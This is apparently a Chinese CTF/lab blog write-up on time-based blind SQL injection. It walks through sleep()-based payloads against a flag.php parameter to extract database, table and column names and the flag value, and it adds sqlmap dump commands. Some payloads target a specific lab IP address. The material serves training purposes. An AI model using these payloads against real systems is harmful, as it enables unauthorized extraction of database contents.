了解盲注语法,如何利用盲注获取数据

目标

  • 了解SQL时间盲注
  • 掌握SQL注入语法
  • 掌握SQL注入原理
  • 了解SQL注入常用注释字符

    本题使用的工具
    sqlmap,hackbar
    环境
    物理机:windows10
    虚拟机:kali

    时间盲注

    1 判断是否存在盲注

可以发现判断有多种方式,只要能保证sleep()执行,就可以根据回显的时间判断是否存在时间注入

1
2
3
命令1 :http:/ip/flag.php?type=1 and sleep(5) '
命令2:http://ip/flag.php?type=1 and if(ascii(substr(database(),1,1))=114,1,sleep(5))'
命令3:http://ip/flag.php?type=1 and if(1=0,1,sleep(10)) --

在这里插入图片描述

发现存在明显的延迟,说明存在时间注入,这里我采取的做法是盲注,最后发现存在回显,也可以直接获取,就不多叙述了。

2 获取数据库

  • 猜解数据库长度
    测试数据库的长度,当12时发生时间注入

    1
    http://ip/flag.php?type=1 and if(length(database())=12,sleep(5),1) --+

    在这里插入图片描述

  • 猜解数据库名
    解释几个函数的用法
    1 database(): 获取数据库
    2 substr():截取字符串函数
    用法:substr(string string,num start,num length);
    string为字符串;
    start为起始位置;
    length为长度。
    3 ascii():返回字符串str的最左面字符的ASCII代码值
    4 if(语句1,语句2,语句3) :如果语句1正确执行语句2,否则执行语句3

    第一位 112 对应 p
    使用注入语句if(ascii(substr(database(),1,1))

    1
    http://ip/flag.php?type=1 and if(ascii(substr(database(),1,1))=112,sleep(5),1) --+

在这里插入图片描述 剩下的交给sqlmap去跑
命令:sqlmap -u url --dbs
在这里插入图片描述## 3 猜解表

  • 1 猜解表的长度
    这里都是猜解的最终flag的表和数据库
    发现在当长度为4 时发生延时

    1
    http://ip/flag.php?type=1 and if(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=4,sleep(5),1) --
  • 2 猜解表

    • 通过ascii去判断
      判断第一位是否是字母
      1
      http://219.153.49.228:40472/flag.php?type=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))>96,sleep(5),1) --

当前数据库的第三张表的第一个字符为f

1
http://ip/flag.php?type=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))>102,sleep(5),1) --

在这里插入图片描述 * 使用left去猜解
left(str,length) :LEFT()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。

1
http://ip/flag.php?type=1 and if (left((select table_name from information_schema.tables where table_schema=database() limit 1,1),4)='flag',sleep(5),1)--+

sqlmap 跑出剩余的
命令:sqlmap -u url -D pentesterlab --tables
在这里插入图片描述## 4 获取字段值

  • 猜解长度
    猜解第二个字段值的长度
    1
    http://ip/flag.php?type=1 and if(length((select column_name from information_schema.columns where table_name='flag' limit 1,1))=4,sleep(5),1)—

在这里插入图片描述

  • 猜解字段值
    第一个字段值的第3位 为i
    1
    http://ip/flag.php?type=1 and if(ascii(substr((select column_name from information_schema.columns where table_name=0x666c6167 limit 0,1),1,1))=105,sleep(4),1) --

在这里插入图片描述 第一个字段值的第2位 为d

1
http:/ip/flag.php?type=1 and if(ascii(substr((select column_name from information_schema.columns where table_name=0x666c6167 limit 0,1),2,1))>99,sleep(4),1) --

所以第一个字段值为id

  • left
    利用left求第二个字段值
    第一个字符为f,直接猜测flag
    1
    2
    3
    http://ip/flag.php?type=1 and if(left((select column_name from information_schema.columns where table_name=0x666c6167 limit 1,1),1)='f',sleep(4),1) --
    成功延时
    http://219.153.49.228:40472/flag.php?type=1 and if(left((select column_name from information_schema.columns where table_name=0x666c6167 limit 1,1),4)='flag',sleep(4),1)—

5 下载数据

  • 猜长度
    猜测第一个数据的长度为6

    1
    http://ip/flag.php?type=1 and if(length((select flag from flag limit 0,1))=6,sleep(4),1)--
  • 猜数据
    第一位数据为m

    1
    http://ip/flag.php?type=1 and if(ascii(substr((select flag from flag limit 0,1),1))=109,sleep(4),1)--

    直接猜测mozhe发现缺少一位,猜测最后一位

    1
    http://ip/flag.php?type=1 and if(ascii(substr((select flag from flag limit 0,1),6))=49,sleep(4),1)--

最后一位是1

使用left验证
成功延时,拿到flag去验证把

1
http://ip/flag.php?type=1 and if(left((select flag from flag limit 0,1),6)='mozhe1',sleep(4),1)--

使用sqlmap验证
命令:sqlmap -u url -D pentesterlab -T flag -C flag --dump
在这里插入图片描述

总结

时间盲注特别耗时间,在做的过程中要仔细,还要注意每个函数的括号,避免由于少个括号一直错误。


永远不要停下学习的脚步

相关文章
评论
分享
  • UNCTF竞技赛

    UNCTFwp由K&A整理 WEB简单的备忘录[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection](http...

    UNCTF竞技赛
  • 实验吧-隐写-欢迎来到地狱

    多重隐写+加密,需要清醒的认识,才能不坠入地狱 实验吧隐写题欢迎来到地狱 解压 访问url,获取一个zip文件,解压发现存在3个文件 分别是jpg,doc,zip 根据文件名去,首先我们去打开第一个文件地狱伊始.jpg 打开提示文...

    实验吧-隐写-欢迎来到地狱
  • 实验吧-逆向工程-debug

    了解函数运行,合适添加断点判断,获取一闪而过的flag 实验吧逆向工程debug 下载文件,然后用idaq打开, 尝试在linux下打开发现么没有返回值, 在idaq里面去查看shift+F12 查看字符串,发现有个pri...

    实验吧-逆向工程-debug
  • 传统知识+古典密码

    多种加密结合,一步一步解密,追寻真理 实验吧密码学传统知识+古典密码 题目 辛卯,癸巳,丙戌,辛未,庚辰,癸酉,己卯,癸巳 信的背面还写有“+甲子”,请解出这段密文 key:CTF{} 查一下得到了一份六十甲子顺序表 获取...

    传统知识+古典密码
  • 变异凯撒

    仔细观察凯撒加密,找寻其中的规律 实验吧密码学变异凯撒 凯撒密码 在密码学中,恺撒密码(英语:Caesar cipher),或称恺撒加密、恺撒变换、变换加密,是一种最简单且最广为人知的加密技术。它是一种替换加密的技术,明文中的所有...

    变异凯撒
  • MD5之守株待兔

    实验吧-安全杂项-MD5之守株待兔 ,通过md5加密时间戳获取flag 实验吧安全杂项MD5之守株待兔,你需要找到和系统锁匹配的钥匙做题感受,这个题难道就只能一直刷新等吗,太不亲民了 访问url [http://ctf5.shi...

    MD5之守株待兔
  • ActiveMQ任意文件写入漏洞分析溯源

    墨者学院WEB安全ActiveMQ任意文件写入漏洞分析溯源ActiveMQ 简介ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 w...

    ActiveMQ任意文件写入漏洞分析溯源
  • HCTF2018-warmup-writeup

    BUUCTFwebwarmup这里我直接上代码讲 菜鸡不会php,全是现查 哪里不对,欢迎大佬指点 1234567891011121314151617181920212223242526272829303132333435363738...

    HCTF2018-warmup-writeup
  • 后台登录

    实验吧web后台登录 burp抓包尝试爆破 一般呢,ctf题是不涉及爆破的,因为这样会导致服务器处理压力太大 可以看到这里当我们输入正确的密码后,会返回flag。 那么我们的重点就是获取密码了 寻找密码 尝试了几次弱密码,注入都...

    后台登录
  • OWASP API Top 10

    OWASP API TOP 10本文搬运自:https://apisecurity.io/encyclopedia/content/owasp/owasp-api-security-top-10.htm TOP1:2019 —破碎的对...

    OWASP API Top 10
Please check the comment setting in config.yml of hexo-theme-Annie!